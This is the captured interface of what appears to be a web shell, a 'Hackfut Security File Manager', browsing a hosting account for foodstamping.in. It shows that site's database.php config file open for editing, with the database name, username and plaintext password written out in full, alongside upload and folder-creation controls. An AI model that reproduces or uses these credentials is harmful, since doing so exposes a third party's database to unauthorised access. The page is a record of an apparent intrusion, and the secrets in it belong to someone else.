Hackfut Security File Manager
Current Path:
/home/u126195517/domains/foodstamping.in/public_html/config
home
/
u126195517
/
domains
/
foodstamping.in
/
public_html
/
config
/
📁
..
📄
database.php
(771 B)
📁
products
Editing: database.php
<?php class Database { private $host = "localhost"; private $db_name = "u126195517_stamp_store"; private $username = "u126195517_A1_Common_Seal"; private $password = "best_Stamp#786"; public $conn; public function getConnection() { $this->conn = null; try { $this->conn = new PDO("mysql:host=" . $this->host . ";dbname=" . $this->db_name, $this->username, $this->password); $this->conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $this->conn->exec("set names utf8"); } catch(PDOException $exception) { echo "Connection error: " . $exception->getMessage(); } return $this->conn; } } ?>
Upload File
Create Folder